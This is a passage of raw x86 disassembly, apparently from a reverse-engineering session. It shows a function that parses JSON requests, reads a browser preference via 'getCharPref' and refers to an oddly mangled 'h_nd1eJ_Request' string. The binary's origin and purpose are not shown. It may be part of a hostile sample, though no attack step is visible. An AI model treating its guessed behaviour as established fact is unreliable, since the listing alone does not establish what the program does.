cmp byte [eax + 8], 4
jne 0x451691
test ebx, ebx
je 0x451691
push ecx
push 0x53cf60
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53cf68
mov ecx, eax
call fcn.004391a0
cmp byte [eax + 8], 4
jne 0x451691
push ecx
push 0x53cf98
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53cfa0
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5e4]
call fcn.00404310
push ecx
push 0x53cf84
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 0x2b
call fcn.004391a0
push ecx
push 0x53cf8c
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5e8]
call fcn.00404310
push ecx
push 0x53cfb8
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 0x2c
xor esi, esi
call fcn.004391a0
push 0x53cfc0
mov ecx, eax
call fcn.004394f0
test al, al
je 0x4514c3
push ecx
push 0x53cfa8
lea ecx, [ebp - 0x604]
call fcn.004391a0
push ecx
push 0x53cfb0
mov ecx, eax
call fcn.004391a0
push dword [eax]
lea ecx, [ebp - 0x5dc]
call fcn.00404310
mov eax, dword [ebp - 0x5ec]
mov byte [ebp - 4], 0x2d
mov esi, dword [eax + 0x20]
push 0x53cfe8
lea ecx, [ebp - 0x5dc]
call fcn.00404a70
mov ecx, SysReAllocStringLen
test eax, eax
cmove esi, ecx
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 4], 0x2c
call fcn.004020d0
push str.getCharPref
lea ecx, [ebp - 0x5f0]
call fcn.00404a70
test eax, eax
jne 0x4515e1
lea ecx, [ebp - 0x5d8]
call fcn.00402000
mov byte [ebp - 4], 0x2e
test esi, esi
je 0x45150f
lea eax, [ebp - 0x5e4]
push esi
push eax
lea edx, [ebp - 0x5e8]
lea ecx, [ebp - 0x5d8]
call fcn.00446680
add esp, 8
jmp 0x4515bb
push ecx
mov ecx, esp
push 0x53cfc8
mov byte [ebp - 4], 0x2f
call fcn.00402020
push dword [0x558ef4]
lea eax, [ebp - 0x5e4]
push eax
lea edx, [ebp - 0x5e8]
lea ecx, [ebp - 0x570]
call fcn.00445e70
add esp, 0xc
push eax
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 0x30
call fcn.004020f0
lea ecx, [ebp - 0x570]
call fcn.004020d0
mov dword [ebp - 4], 0x2e
jmp 0x4515bb
lea ecx, [ebp - 0x5d8]
call fcn.004114b0
mov dword [ebx + 8], eax
mov eax, 8
lea ecx, [ebp - 0x5d8]
mov word [ebx], ax
call fcn.004020d0
jmp 0x45167b
mov dword [ebp - 0x5f4], 0xffffffff
mov dword [ebp - 0x5d8], 0xffffffff
test esi, esi
je 0x451635
lea eax, [ebp - 0x5e4]
push esi
push eax
lea edx, [ebp - 0x5e8]
lea ecx, [ebp - 0x5d8]
call fcn.00446850
mov cl, al
mov eax, dword [ebp - 0x5d8]
add esp, 8
cmp eax, 0xffffffff
jne 0x45166b
or eax, eax
test cl, cl
jne 0x451670
xor eax, eax
mov word [ebx + 8], ax
mov eax, 0xb
jmp 0x451678
push ecx
mov ecx, esp
push 0x53d028
call fcn.00402020
push dword [0x558ef4]
lea eax, [ebp - 0x5e4]
push eax
lea edx, [ebp - 0x5e8]
lea ecx, [ebp - 0x5f4]
call fcn.00446a70
mov cl, al
mov eax, dword [ebp - 0x5f4]
add esp, 0xc
cmp eax, 0xffffffff
je 0x451624
mov dword [ebx + 8], eax
mov eax, 0x16
mov word [ebx], ax
lea ecx, [ebp - 0x5e8]
call fcn.004020d0
lea ecx, [ebp - 0x5e4]
call fcn.004020d0
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x5f0]
add edx, 0xfffffff0
or ecx, 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4516b5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [ebp - 0x590], 0x10
jb 0x4516cc
push dword [ebp - 0x5a4]
call fcn.004b009b
add esp, 4
lea edx, [edi - 0x10]
or edi, 0xffffffff
mov dword [ebp - 0x590], 0xf
mov dword [ebp - 0x594], 0
mov byte [ebp - 0x5a4], 0
mov byte [ebp - 4], 9
lea eax, [edx + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x451707
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x518]
call fcn.0041af50
lea ecx, [ebp - 0x604]
mov byte [ebp - 4], 6
call fcn.004388f0
mov dword [ebp - 4], 0
mov byte [ebp - 0x5dd], 1
jmp 0x44fa18
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x5e4], eax
mov eax, str.id_not_member
mov byte [ebp - 4], 0x1e
test eax, 0xffff0000
jne 0x451777
movzx esi, ax
mov ecx, esi
call fcn.00401970
test eax, eax
je 0x451787
push esi
push eax
lea ecx, [ebp - 0x5e4]
call fcn.00402420
jmp 0x451787
push str.id_not_member
lea ecx, [ebp - 0x5e4]
call fcn.004047f0
mov byte [ebp - 4], 0x1f
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x5d8], eax
mov eax, str.h_nd1eJ_Reque_t
mov byte [ebp - 4], 0x20
test eax, 0xffff0000
jne 0x4517ce
movzx esi, ax
mov ecx, esi
call fcn.00401970
test eax, eax
je 0x4517e0
push esi
push eax
lea ecx, [ebp - 0x5d8]
call fcn.00402420
jmp 0x4517e0
push 0xf
push str.h_nd1eJ_Reque_t
lea ecx, [ebp - 0x5d8]
call fcn.004021b0
mov byte [ebp - 4], 0x21
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x570], esi
lea eax, [ebp - 0x5e4]
push eax
lea edx, [ebp - 0x570]
lea ecx, [ebp - 0x618]
mov byte [ebp - 4], 0x22
call fcn.00421a70
add esp, 4
mov dword [ebp - 0x60c], eax
push eax
mov eax, dword [ebp - 0x5ec]
mov byte [ebp - 4], 0x23
mov ecx, dword [eax + 4]
call fcn.004020f0
mov eax, dword [ebp - 0x5ec]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x451857
push 2
push dword [ebp - 0x60c]
lea edx, [ebp - 0x5d8]
push edx
add eax, 8
push eax
call fcn.00402570
mov byte [ebp - 4], 0x22
mov edx, dword [ebp - 0x618]
add edx, 0xfffffff0
or ecx, 0xffffffff
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45187b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov byte [ebp - 4], 0x21
lea eax, [edx + 0xc]
mov ecx, esi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x45189b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x1f
mov edx, dword [ebp - 0x5d8]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4518be
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x5e4]
add edx, 0xfffffff0
mov ecx, esi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4518e1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x5d8], eax
mov eax, str.json_parse_action_not_found
mov byte [ebp - 4], 0x24
test eax, 0xffff0000
jne 0x45192a
movzx ecx, ax
call fcn.00401970
test eax, eax
je 0x45193a
mov edx, str.json_parse_action_not_found
movzx ecx, dx
push ecx
push eax
lea ecx, [ebp - 0x5d8]
call fcn.00402420
jmp 0x45193a
push str.json_parse_action_not_found
lea ecx, [ebp - 0x5d8]
call fcn.004047f0
mov ecx, dword [ebp - 0x5ec]
mov byte [ebp - 4], 0x25
mov eax, dword [ecx]
lea edx, [ebp - 0x5d8]
push edx
call dword [eax + 0x24]
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x5d8]
jmp 0x44f6b5
or edi, 0xffffffff
test ebx, ebx
je 0x44fa18
mov eax, 1
mov word [ebx], ax
jmp 0x44fa18
push str.OUT
lea ecx, [ebp - 0x5d8]
call fcn.004047f0
push str.h_nd1eJ_Request
lea ecx, [ebp - 0x624]
mov byte [ebp - 4], 0x78
call fcn.00402020
mov byte [ebp - 4], 0x79
mov eax, dword [0x5556d8]
mov ecx, 0x5556d8
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x570], esi
lea eax, [ebp - 0x5d8]
push eax
lea edx, [ebp - 0x570]
lea ecx, [ebp - 0x60c]
mov byte [ebp - 4], 0x7a
call fcn.00421a70
add esp, 4
mov byte [ebp - 4], 0x7b
mov ecx, dword [ebx + 0xc]
test ecx, ecx
je 0x451c99
push 0
push eax
lea eax, [ebp - 0x624]
push eax
lea eax, [ebx + 8]
push eax
call fcn.00402570
mov byte [ebp - 4], 0x7a
mov edx, dword [ebp - 0x60c]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x451cbc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov byte [ebp - 4], 0x79
lea eax, [esi + 0xc]
mov ecx, edi
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x451cd9
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x78
mov edx, dword [ebp - 0x624]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x451cfc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0x5d8]
add edx, 0xfffffff0
mov ecx, edi
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x451d1f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov esi, dword [ebp + 8]
add esi, 0xfffffff0
lea eax, [esi + 0xc]
lock xadd dword [eax], edi
dec edi
test edi, edi
jg 0x451d40
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov al, byte [ebp - 0x5dd]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004b00a0
mov esp, ebp
pop ebp
ret 8